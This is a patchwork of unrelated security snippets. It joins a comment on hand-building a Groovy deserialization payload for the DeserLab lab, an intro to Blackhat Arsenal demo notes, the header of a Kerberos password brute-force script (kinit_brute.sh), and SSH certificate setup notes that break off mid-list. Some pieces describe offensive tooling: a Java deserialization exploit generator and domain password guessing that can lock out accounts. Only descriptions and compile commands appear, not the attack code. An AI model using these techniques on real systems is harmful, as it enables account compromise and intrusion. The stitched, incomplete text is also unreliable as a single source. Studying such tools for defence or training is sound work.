    For learning purposes we build the groovy payload ourselves instead of using
    ysoserial. This helps us better understand the chain and the mechanisms
    involved in exploiting this bug.
    
    compile with:
        javac -cp <path to groovy lib> ManualPayloadGenerate.java
    Example:
        javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java

Cumulus Toolkit Cliff Notes

By popular demand, here are my notes for running the demo I presented at Blackhat Arsenal 2017. These are not full instructions on how to setup the full environment, please let me know if you are interested in such a thing.

# Title: kinit_brute.sh
# Author: @ropnop
# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
# The script configures the realm and KDC for you based on the domain provided and the domain controller
# Since this configuration is only temporary though, if you want to actually *use* the TGT you should actually edit /etc/krb5.conf
# Only tested with Heimdal kerberos (error messages might be different for MIT clients)
# Note: this *will* lock out accounts if a domain lockout policy is set. Be careful

### I use HSM backed SSH certs and so can you. [why?: keys can be stolen, certs expire!]
 
1. Get a YubiHSM2 @ https://www.yubico.com/products/hardware-security-module/
2. Follow this: https://github.com/YubicoLabs/yubihsm-ssh-tool [ Yes, you're going to have to install all the other yubico stuff too, yubico-connector, etc, ..] on your issuing machine, or airgapped machine.
3. Be content that you can now sign certificates with the HSM on the issuer/airgapped machine.
3. Update /etc/ssh/sshd_config on remote server to add:
    TrustedUserCAKeys /etc/ssh/ca.pub
    AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
4. Add principals here:
